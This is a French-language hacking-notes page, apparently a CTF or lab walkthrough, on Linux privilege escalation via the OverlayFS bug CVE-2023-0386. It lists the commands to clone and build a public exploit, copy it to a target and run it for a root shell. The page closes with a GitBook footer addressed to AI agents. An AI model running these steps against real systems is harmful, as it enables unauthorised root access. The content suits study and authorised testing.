> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# Exploitation du noyau (OverlayFS) - Élévation de privilèges Linux

## Ce que c’est

L’élévation de privilèges du noyau cible les vulnérabilités locales du noyau Linux ou les correctifs spécifiques à la distribution. Ces exploits peuvent être instables, donc la validation de la version et les tests en laboratoire comptent avant l’exécution. Cette page spécifique se concentre sur **Exploitation du noyau (OverlayFS)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Exemples

## Élévation de privilèges OverlayFS CVE-2023-0386

> OverlayFS permet de superposer des systèmes de fichiers. Dans certaines versions du noyau Linux, une mauvaise gestion des capacités permet à un utilisateur non privilégié d’exécuter du code avec **des privilèges root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Étapes de l’opération**

1. **Cloner l’exploit** depuis notre machine locale :

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transférer les fichiers compilés** vers la machine cible (`scp`, `python -m http.server` , etc.).

<figure><img src="/files/881a2c4c26688fb333feee6003253aca11fcd337" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/014403cc65d93a82f74c9588a421e181ca72f1ff" alt=""><figcaption></figcaption></figure>

2. **Sur la machine cible** , exécutez dans **deux terminaux**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Si tout se passe bien, nous obtenons un shell **root**

<figure><img src="/files/69f4d32510bd573e5103754acbbd4679c21e4de5" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/7677dbbffb52c33f0f10da7bb52161f4ed7f90af" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
